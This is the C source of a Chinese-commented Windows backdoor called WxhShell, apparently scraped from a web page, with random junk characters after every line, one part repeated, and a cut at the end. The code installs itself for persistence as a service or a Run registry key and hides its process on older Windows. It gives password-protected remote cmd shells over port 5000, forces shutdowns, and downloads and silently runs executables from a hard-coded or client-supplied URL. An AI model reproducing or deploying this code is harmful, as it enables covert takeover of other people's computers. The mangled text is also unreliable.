    else { mB~~_]M N  
    closesocket(wsh); 6F(hY !}5  
    ExitThread(0); wZQ)jo7*g  
    } . @@an;C  
    break; #G[t X6gU  
    } ^+wk  
  // 关机 40u7fojg2  
  case 'd': { !~)90Z!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u\f3qc,]F  
    if(Boot(SHUTDOWN)) B_hPcmB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mg`j[<wp  
    else { m^Glc?g<  
    closesocket(wsh); 4Ac}(N5D@  
    ExitThread(0); )9B:Y;>)  
    } FNC[59   
    break; 1eHe~p ,  
    } UU[H@ym#  
  // 获取shell ?pqU3-knH  
  case 's': { cAb>2]M5V  
    CmdShell(wsh); w//omF'`  
    closesocket(wsh); yPoSJzC=[  
    ExitThread(0); gGEIK0\{  
    break; eeW`JG-E  
  } /D'M24  
  // 退出 J:AMnUOcDi  
  case 'x': { @MOCug4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B)M& \: _  
    CloseIt(wsh); &pL/ @2+  
    break; 6T_K9  
    } W qE '(  
  // 离开 !>3LGu,  
  case 'q': { ;}K62LSR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -%,"iaO  
    closesocket(wsh); IXWQ)  
    WSACleanup(); |4fF T `  
    exit(1); 5]d{6Nc3P  
    break; )S*1C@  
        } <: :VCA%  
  } s1 bU  
  } hO3 {  
Wo!;K|~P  
  // 提示信息 u h )o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CW p#^1F  
} 1'Rmg\(  
  } Xh}&uZ`A  
9 I{/zKq  
  return; 8Q=ZH=SQK  
} u%B&WwHG  
;|HL+je;Z  
// shell模块句柄 Z7z]2v3}c  
int CmdShell(SOCKET sock) 8I.VJ3Q  
{ ,F9nDF@)  
STARTUPINFO si; &I/qG`W  
ZeroMemory(&si,sizeof(si)); 2.nE k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <*wM=aq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8{ gXToK  
PROCESS_INFORMATION ProcessInfo; psUE!~9,  
char cmdline[]="cmd"; Hhl-E:"H`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /8c&Axuv  
  return 0; - {{[cT I  
} X#`dWNrN  
C?o6(p"b  
// 自身启动模式 )+EN$*H  
int StartFromService(void) |>+uw|LtZ  
{ |##GIIv;i  
typedef struct t,HFz6   
{ ! %Ny0JkO  
  DWORD ExitStatus; z:}nBCmLV  
  DWORD PebBaseAddress; z_&P?+"Df  
  DWORD AffinityMask; S-c ^eLzQ  
  DWORD BasePriority; }`_(<H  
  ULONG UniqueProcessId; 2hq\n<  
  ULONG InheritedFromUniqueProcessId; )];aIA$  
}   PROCESS_BASIC_INFORMATION; tJ'iX>9I  
snC/H G7  
PROCNTQSIP NtQueryInformationProcess; FnE6?~xa  
G3a7`CD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wxdyF&U n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +~35G:&:  
jatr/  
  HANDLE             hProcess; 5k$vlC#[H  
  PROCESS_BASIC_INFORMATION pbi; WU)Ss`s \  
gKi{Y1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HID([Wk  
  if(NULL == hInst ) return 0; *x(Jq?5O7X  
>2lwWXA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pj8azFZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g7n "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;gB`YNL  
yWb4Ify  
  if (!NtQueryInformationProcess) return 0; rQr!R$t/[  
,Eu?JH&}u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U(,.D}PG  
  if(!hProcess) return 0;  rLv;Y  
Ia4)uV8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #fDs[  
*C2R`gpBI  
  CloseHandle(hProcess); {HrZ4xQnpV  
d5!!Ut  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dl,`\b@Fw3  
if(hProcess==NULL) return 0; t'(1I|7  
@dEiVF`4:  
HMODULE hMod; 75NRCXh.  
char procName[255]; AK@L32-S  
unsigned long cbNeeded; ."6[:MF  
lr3mE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d%ME@6K)  
Hj6'pJ4  
  CloseHandle(hProcess); ue{xnjw>U  
Vw~\H Gs/~  
if(strstr(procName,"services")) return 1; // 以服务启动 @PSLs *  
w/m:{cHk  
  return 0; // 注册表启动 l,`!rF_  
} 5kMWW*Xtf  
.F2 :!h$  
// 主模块 m9":{JI.w  
int StartWxhshell(LPSTR lpCmdLine) DBgMC"_   
{ NNkP\oh\  
  SOCKET wsl; 'i|rj W(  
BOOL val=TRUE; eV};9VJ$F  
  int port=0; .*5Z"Q['G  
  struct sockaddr_in door; >)**khuP7  
EL D!{bMT  
  if(wscfg.ws_autoins) Install(); K5 KyG  
,6"l(]0  
port=atoi(lpCmdLine); 8e2?tmWM  
*hY2.t; X  
if(port<=0) port=wscfg.ws_port; L%\b'fs  
2A:,;~UH  
  WSADATA data; wCKj7y[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {/8Q)2*>0  
{eT.SO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I 3$dVls}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TO#Pz.)>B6  
  door.sin_family = AF_INET; .~D>5 JnEk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QlZ@ To  
  door.sin_port = htons(port); ^ c%N/V \  
T.:+3:8|F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B80aw>M  
closesocket(wsl); e %O0hE  
return 1; dcfe_EuT  
} EqB)sK/3  
el PE%'  
  if(listen(wsl,2) == INVALID_SOCKET) { 3iX?~  
closesocket(wsl); 9S7A!AKE  
return 1; H)(jh  
} n.}T1q|l  
  Wxhshell(wsl); @{HrJ/4%:&  
  WSACleanup(); 8y2+&#$  
AC- )BM';  
return 0; `BXS)xj  
nv/[I,nw  
} _lxco=qd=%  
j}JZ  
// 以NT服务方式启动 K\?]$dK5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 42C<1@>zO  
{ /Lf6WMit  
DWORD   status = 0; k!L@GQ  
  DWORD   specificError = 0xfffffff; 9$*s8}|  
>{zk qvsQ&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nms8@[4-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ri7((x]H"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @x&P9M0g  
  serviceStatus.dwWin32ExitCode     = 0; PL=^}{r  
  serviceStatus.dwServiceSpecificExitCode = 0; &2.u%[gO[q  
  serviceStatus.dwCheckPoint       = 0; 6;b9swmh  
  serviceStatus.dwWaitHint       = 0; Sus;(3EX  
QO;4}rq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hf gz02Z$  
  if (hServiceStatusHandle==0) return; )7cb6jCU  
X@A1#z+s0]  
status = GetLastError(); P5 <vf  
  if (status!=NO_ERROR) 4"?^UBr  
{ v $({C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9WG{p[  
    serviceStatus.dwCheckPoint       = 0; ~.g3ukt  
    serviceStatus.dwWaitHint       = 0; es:2M |#O  
    serviceStatus.dwWin32ExitCode     = status; [1G^/K"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 15\Ph[6g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cI0 ]}S  
    return; 9"{W,'r&d  
  } W&Y"K)`  
~+F;q vq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zo-$z8  
  serviceStatus.dwCheckPoint       = 0; ' I}: !Z  
  serviceStatus.dwWaitHint       = 0; %q 3$|>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }WLh8i?_  
} V >-b`e  
sY SLmUZ{  
// 处理NT服务事件,比如:启动、停止 xl9aV\W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pL1i|O  
{ ~#K@ADYr  
switch(fdwControl) <i\A_qqc/  
{ 3Hi+Z}8  
case SERVICE_CONTROL_STOP: p/6zEZ*  
  serviceStatus.dwWin32ExitCode = 0; 7j<e)"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |s+0~$O;  
  serviceStatus.dwCheckPoint   = 0; w*7|dZk{  
  serviceStatus.dwWaitHint     = 0; h!@,8y[B  
  { zt24qTKL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {2d_"lHBt  
  } SuBeNA[&  
  return; "Y: /= Gx  
case SERVICE_CONTROL_PAUSE: sUkm|K`#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .1 )RW5|c  
  break; UKd'+R]  
case SERVICE_CONTROL_CONTINUE: 3L>IX8_   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '=E9En#@  
  break; F?+3%>/A @  
case SERVICE_CONTROL_INTERROGATE: b p<^R  
  break; |H}sYp  
}; ^y.nDs%ZT7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #U7_a{cn"M  
} Y&bM CI6U  
-XK0KYhgW  
// 标准应用程序主函数 AIl4]F5I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AbwbAm+  
{ R@ Y=o].2  
l U]un&[N  
// 获取操作系统版本 | $^;wP  
OsIsNt=GetOsVer(); t !`Jse>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _o6G6e,  
Lm*VN~2  
  // 从命令行安装 bKVj[r8D~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7v}x?I  
/c# `5L[  
  // 下载执行文件 m4w ') r~  
if(wscfg.ws_downexe) { V3N0Og3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l;X|=eu'  
  WinExec(wscfg.ws_filenam,SW_HIDE); W`rNBfG>  
} _W!p8cB  
h[tix:  
if(!OsIsNt) { )ukpJ z""  
// 如果时win9x,隐藏进程并且设置为注册表启动 i8X`HbmN  
HideProc(); Gi6T["  
StartWxhshell(lpCmdLine); 9%)=`W  
} |+IZS/W"  
else J'&# mDU  
  if(StartFromService()) E4.SF|=x  
  // 以服务方式启动 Bvjl-$m!v  
  StartServiceCtrlDispatcher(DispatchTable); F51.N{'  
else C_fY %O  
  // 普通方式启动 gIEl.  
  StartWxhshell(lpCmdLine); U!5)5c}G  
neF]=uCWnT  
return 0; bF}V4"d,B3  
} `<"m%>  
9Mm!%Hu  
yR~-k?7b  
i7[uLdQ  
=========================================== .y5,x\Pq(  
._:nw=Y0<}  
g&/p*c_  
f3*?MXxb16  
K!AAGj`  
/(C~~XP)  
" 7sNw  
1Y xgR}7  
#include <stdio.h> H&}ipaDO  
#include <string.h> E N^Uki`  
#include <windows.h> ,"}Rg1\4t  
#include <winsock2.h> %~ |HFYd  
#include <winsvc.h> L];y}]:F*  
#include <urlmon.h> w2(guL($  
&:*q_$]Oz  
#pragma comment (lib, "Ws2_32.lib") + bhym+  
#pragma comment (lib, "urlmon.lib") lt'I,Xt  
!{^\1QK  
#define MAX_USER   100 // 最大客户端连接数 N@o?b  
#define BUF_SOCK   200 // sock buffer bBxw#_3A?E  
#define KEY_BUFF   255 // 输入 buffer ?|;yVew  
@{ ;XZb^  
#define REBOOT     0   // 重启 D]! aT+  
#define SHUTDOWN   1   // 关机 {.e=qQ%P5)  
}S_oH9A  
#define DEF_PORT   5000 // 监听端口 BG2)v.CU  
JHn*->m  
#define REG_LEN     16   // 注册表键长度 v *hRz;  
#define SVC_LEN     80   // NT服务名长度 RWq{Ff}Hk  
F r?z"  
// 从dll定义API DmqX"x%P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <g8K})P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9|' B9C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z-=YM P ]Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jLg@FDb~  
`RQ#.   
// wxhshell配置信息 JeH;v0  
struct WSCFG { nCg66-3A  
  int ws_port;         // 监听端口 ig"uXs  
  char ws_passstr[REG_LEN]; // 口令 A!W0S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9W*+SlH@ !  
  char ws_regname[REG_LEN]; // 注册表键名 ~IVd vm7  
  char ws_svcname[REG_LEN]; // 服务名 #PLEPB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nHFrG =o,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mumXUX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^o?SM^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yQS+P8x&|]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wl=61 Mb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s)A<=)w/e  
wVs.Vcwr  
}; H2gj=krK  
"kMzmo=Pv5  
// default Wxhshell configuration qKS;x@  
struct WSCFG wscfg={DEF_PORT, k?nQ?B W  
    "xuhuanlingzhe", 6+rlXmd  
    1, v'2[[u{7*  
    "Wxhshell", eS/B24;*  
    "Wxhshell", ~Z/ ^c,[:  
            "WxhShell Service", d87vl13  
    "Wrsky Windows CmdShell Service", Qq-"Cg@-/  
    "Please Input Your Password: ", S&nxok`e^  
  1, "tit\a6\(  
  "http://www.wrsky.com/wxhshell.exe", 8cx=#Me  
  "Wxhshell.exe" <hnCUg1  
    }; zZ-wG  
-a Gcf]6  
// 消息定义模块 f},oj4P\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^he=)rBb?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >M!xiQX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wx'Kp+9'  
char *msg_ws_ext="\n\rExit."; +eX)48  
char *msg_ws_end="\n\rQuit."; S&C1TC  
char *msg_ws_boot="\n\rReboot..."; X8eJ4%  
char *msg_ws_poff="\n\rShutdown..."; A?Qa 4i  
char *msg_ws_down="\n\rSave to "; 3q[WHwmm  
W|k0R4K]]  
char *msg_ws_err="\n\rErr!"; FxG7Pk+=  
char *msg_ws_ok="\n\rOK!"; 6Z?j AXGSq  
@xsP5je]  
char ExeFile[MAX_PATH]; aMARZ)V  
int nUser = 0; v;#=e$%}MO  
HANDLE handles[MAX_USER]; {@}?k s5  
int OsIsNt; .Jb$l$5'w  
b<I9 MR  
SERVICE_STATUS       serviceStatus; UnDgu4#R`A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DQ.v+C,  
/(I*,.d  
// 函数声明 8qi+IGRg  
int Install(void); !%<^K.wG  
int Uninstall(void); `7aDEzmJ  
int DownloadFile(char *sURL, SOCKET wsh); y]..= z_ql  
int Boot(int flag); >C WKH~  
void HideProc(void); 5pNY)>]t=  
int GetOsVer(void); '+'CbWgY  
int Wxhshell(SOCKET wsl); <<9Va.  
void TalkWithClient(void *cs); ! ueN|8'  
int CmdShell(SOCKET sock); (fD ;g9  
int StartFromService(void); 'J*<iA*W  
int StartWxhshell(LPSTR lpCmdLine); BIaDY<j90  
h.rD}N\L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $h9='0Wi0'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `D( xv  
PMsz`  
// 数据结构和表定义 XB hb`AG  
SERVICE_TABLE_ENTRY DispatchTable[] = @Fv=u  
{ ){s*n=KIO  
{wscfg.ws_svcname, NTServiceMain}, vqslirC  
{NULL, NULL} P=L$;xgp  
}; |6:=}dE#[  
$$i. O}  
// 自我安装 .o%^'m"=D[  
int Install(void) )o1eWL}  
{ j83? m  
  char svExeFile[MAX_PATH]; {eJt,[Y *  
  HKEY key; X C86-b)E  
  strcpy(svExeFile,ExeFile); z@s5m}  
O40+M)e]  
// 如果是win9x系统,修改注册表设为自启动 fjo{av~]y  
if(!OsIsNt) { {C`GW}s{4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :WGtR\tK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ukgAI<O%  
  RegCloseKey(key); zHWSE7!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?B@;QjhjiJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mN `YuR~  
  RegCloseKey(key); P47V:E%  
  return 0; 4:3rc7_ 1  
    } Z.L?1V8Q1  
  } foF19_2 ,  
} 4!62/df  
else { Gz I~TWc+G  
vq*Q.0M+  
// 如果是NT以上系统,安装为系统服务 VO3pm6r5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5F+APz7  
if (schSCManager!=0) K`}{0@ilCw  
{ %Kh4m7  
  SC_HANDLE schService = CreateService 8rZ!ia!  
  ( C F!Sa6  
  schSCManager, MmPU7Nl%X  
  wscfg.ws_svcname, _3iHkQr  
  wscfg.ws_svcdisp, #H [Bb2(j  
  SERVICE_ALL_ACCESS, 72W,FU~OD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  I7+9~5p  
  SERVICE_AUTO_START, ~8 H_u  
  SERVICE_ERROR_NORMAL, +1JH  
  svExeFile, p1pQU={<  
  NULL, u*S=[dq  
  NULL, qIUfPA=/_  
  NULL, %A1@&xrbl  
  NULL, R;whW:Tx  
  NULL ))D:8l@  
  ); .D,p@4  
  if (schService!=0) g]@ (E  
  { iO /XhSD  
  CloseServiceHandle(schService); |LG4=j.l  
  CloseServiceHandle(schSCManager); k;PAh>8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2A`A\19t  
  strcat(svExeFile,wscfg.ws_svcname); ^Jp&H\gI.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (;x3} ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <>eOC9;VY  
  RegCloseKey(key); MvLs%GE%  
  return 0; t9 \x%=  
    } "eWk#/  
  } =.<@`1  
  CloseServiceHandle(schSCManager); WS-dS6Q}  
} 0|xIBg)  
} p?[Tm*r  
"@@I!RwA  
return 1; [97:4.  
} +[@z(N-h  
j| Wv7  
// 自我卸载 5 S Xn?  
int Uninstall(void) _!;Me )C  
{ 1Q;}z Hd  
  HKEY key; 0<"k8 k@J  
<tpmUA[]  
if(!OsIsNt) { 'crlA~&#/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c5q9 LQ/  
  RegDeleteValue(key,wscfg.ws_regname); 5IOFSy`  
  RegCloseKey(key); RpG+>"1]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mOpTzg@  
  RegDeleteValue(key,wscfg.ws_regname); +;BAV  
  RegCloseKey(key); exh/CK4;  
  return 0; |Z\R*b"  
  } N- e$^pST  
} wHZW `  
} @Q&3L~K"  
else { I +5)Jau^S  
)M=ioE8`h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I&?Qq k  
if (schSCManager!=0) Xdi:1wW@p  
{ B!{d-gb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ * :F{  
  if (schService!=0) AWjJ{#W>9  
  { ' K@|3R  
  if(DeleteService(schService)!=0) { g 6]epp[8  
  CloseServiceHandle(schService); eAUcv`[#p  
  CloseServiceHandle(schSCManager); /-zXM;h  
  return 0; hc (e$##  
  } 0.$hn  
  CloseServiceHandle(schService); Rtb :nJ8  
  } v}@xlB=  
  CloseServiceHandle(schSCManager); M7f;Pa  
} #ywk|k5z]  
} M)*\a/6?{  
6-`|:[Q~  
return 1; DU%w1+u  
} T@}|zDC#  
.)1_Ew  
// 从指定url下载文件 hPq%L c  
int DownloadFile(char *sURL, SOCKET wsh) kdz=ltw  
{ -?]W*f  
  HRESULT hr; #QCphhG  
char seps[]= "/"; &1%q"\VI  
char *token; zX5!vaEv  
char *file; )%rg?lI  
char myURL[MAX_PATH]; G;> _<22  
char myFILE[MAX_PATH]; *"9><lJ-!  
6cqP2!~  
strcpy(myURL,sURL); bNT9 H`P  
  token=strtok(myURL,seps); l1ZY1#%j  
  while(token!=NULL) PcB_oG g  
  { f >BWG`  
    file=token; F4=}}k U  
  token=strtok(NULL,seps); |+  N5z  
  } )9,  
ys_`e  
GetCurrentDirectory(MAX_PATH,myFILE); I%|>2}-_U  
strcat(myFILE, "\\"); ntNI]~z&  
strcat(myFILE, file); R1&unm0  
  send(wsh,myFILE,strlen(myFILE),0); f= >O J!:  
send(wsh,"...",3,0); (SSRY9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N@B9 @8h  
  if(hr==S_OK) r "$.4@gc  
return 0; (F7(^.MG  
else !+u"3;%h  
return 1; .4. b*5  
5cx#SD&5/  
} }@if6(0  
Qf@I)4'  
// 系统电源模块 u3Gjg{-N7  
int Boot(int flag)  $R<Me  
{ m*e{\)rd#  
  HANDLE hToken; zy*/T>{#  
  TOKEN_PRIVILEGES tkp; -}K<ni6  
9&<x17'  
  if(OsIsNt) { B|o2K}%f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BL@:!t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T843":  
    tkp.PrivilegeCount = 1; F~ Lx|)0M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (EPsTox  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $d?.2Kg  
if(flag==REBOOT) { ;?C #IU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9@Cv5L?p\  
  return 0; bINvqv0v  
} d1[ZHio2c?  
else { +r3IN){jz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8[6o (  
  return 0; y qtKy  
} Jk,;JQ  
  } = k\J<  
  else { :qC '$dO!  
if(flag==REBOOT) { r1RGTEkD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1CLL%\V  
  return 0; 5nbEf9&  
} {Ay"bjZh  
else { |>@W ]CX[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -G6U$  
  return 0; &/,|+U[  
} fhB}9i^]tg  
} dz Zb  
HSq}7S&U  
return 1; FVh U^  
} YKQr, Now  
8QMPY[{   
// win9x进程隐藏模块 Sna4wkbS  
void HideProc(void) \W1/p`  
{ [9:9Ql_h  
cX3lt5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ws4cF N9P?  
  if ( hKernel != NULL ) f 2l{^E#h  
  { G@j0rnn>B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hlt[\LP=$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F-6c_!  
    FreeLibrary(hKernel); \TU3rk&X  
  } y(K" -?  
~i 7^P9  
return; 0Won9P  
} 3G kv4,w<  
k5]j.V2f  
// 获取操作系统版本 nT2)E&U6%  
int GetOsVer(void) _UuC,Pl3  
{ `-LGU7~+  
  OSVERSIONINFO winfo; (Cq n6 dWK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r&FDEBh  
  GetVersionEx(&winfo); m#=z7.XrX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (W}bG>!#Q8  
  return 1; zXRlo]  
  else /hO1QT}xd  
  return 0; orb_"Qw  
} + nF'a(  
G8Du~h!!U  
// 客户端句柄模块 oY, %Iq  
int Wxhshell(SOCKET wsl) Nz)l<S9>  
{ {s;U~!3aY  
  SOCKET wsh; E lUEteZ  
  struct sockaddr_in client; 6uR^%W8]  
  DWORD myID; }NB}"%2  
B$Kn1 k  
  while(nUser<MAX_USER) "yW:\   
{ 7%sdtunf`  
  int nSize=sizeof(client); 08*v~(T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -IV]U*4  
  if(wsh==INVALID_SOCKET) return 1; ++E3]X|  
qgrg CJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vx4+QQY P  
if(handles[nUser]==0) mkR2i>  
  closesocket(wsh); #KO,~]k5|e  
else 2it?$8#i  
  nUser++; 3 h<,  
  } ]kboG%Dl?9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RD.V'`n"  
I|Gp$ uq _  
  return 0; Rn@# d}  
} A~mum+[5  
#Skv(IL  
// 关闭 socket M'/aZ# b  
void CloseIt(SOCKET wsh) {26ONa#i  
{ bcupo:N  
closesocket(wsh); n93=8;&  
nUser--; 9YBv|A  
ExitThread(0); fDP$ sW  
} 1UQHq@aM  
G%Lt.?m[  
// 客户端请求句柄 b6*!ACY  
void TalkWithClient(void *cs) ]~Z6;  
{ 0#MqD[U(  
//aF5 :Y#  
  SOCKET wsh=(SOCKET)cs; Gw1@KKg  
  char pwd[SVC_LEN]; :Lz\yARpk  
  char cmd[KEY_BUFF]; F;>!&[h}G  
char chr[1]; \nP>:5E1  
int i,j; D$x_o!JT  
(IPY^>h  
  while (nUser < MAX_USER) { PsZ >P|e1  
|n] d34E  
if(wscfg.ws_passstr) { FJd]D[h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qcT'nZ:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,#8e_3Z$  
  //ZeroMemory(pwd,KEY_BUFF); ^,]B@ t2  
      i=0; CoA6  
  while(i<SVC_LEN) { QNl'ZB \  
z0do;_x]E  
  // 设置超时 m1*O0Tg]"  
  fd_set FdRead; }m-FGk  
  struct timeval TimeOut; ^7Fh{q4IE  
  FD_ZERO(&FdRead); 5+wAzVA  
  FD_SET(wsh,&FdRead); |ely|U. Tf  
  TimeOut.tv_sec=8; vEn4L0D  
  TimeOut.tv_usec=0; M4W5f#C5Ee  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rx+p.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k]I0o)+O.  
RH|XxH*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /g4f`$a  
  pwd=chr[0]; aT`%;i^  
  if(chr[0]==0xd || chr[0]==0xa) { 3Gip<\$v  
  pwd=0; fS`$'BQ  
  break; gatB QwJb9  
  } cA:*V|YV `  
  i++; mbueP.q[?  
    } Q6r7.pk"SU  
k|!EDze43?  
  // 如果是非法用户,关闭 socket O &-wxJ]S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]H1I,`=@  
} =3v]gOcO  
_x5 3g A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tq|hPd<C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @i*|s~15  
7!N2-6GV  
while(1) { mtj h`  
FeTL&$O  
  ZeroMemory(cmd,KEY_BUFF); piZJJYv t  
Zg.&V  
      // 自动支持客户端 telnet标准   _ :VB}>  
  j=0; :*2ud(  
  while(j<KEY_BUFF) { (!zy{;g|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NW&b&o  
  cmd[j]=chr[0]; \(vY%DL1:  
  if(chr[0]==0xa || chr[0]==0xd) { v 7x:dcV  
  cmd[j]=0; N~xLu8,  
  break; X ' "SVO.  
  } pLzk   
  j++; }_68j8`  
    } ~Onoe $A[<  
z'EajBB\f  
  // 下载文件 v@d  
  if(strstr(cmd,"http://")) { :EA\)@^$R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TU 1I} ,  
  if(DownloadFile(cmd,wsh)) lgtC|k M=  
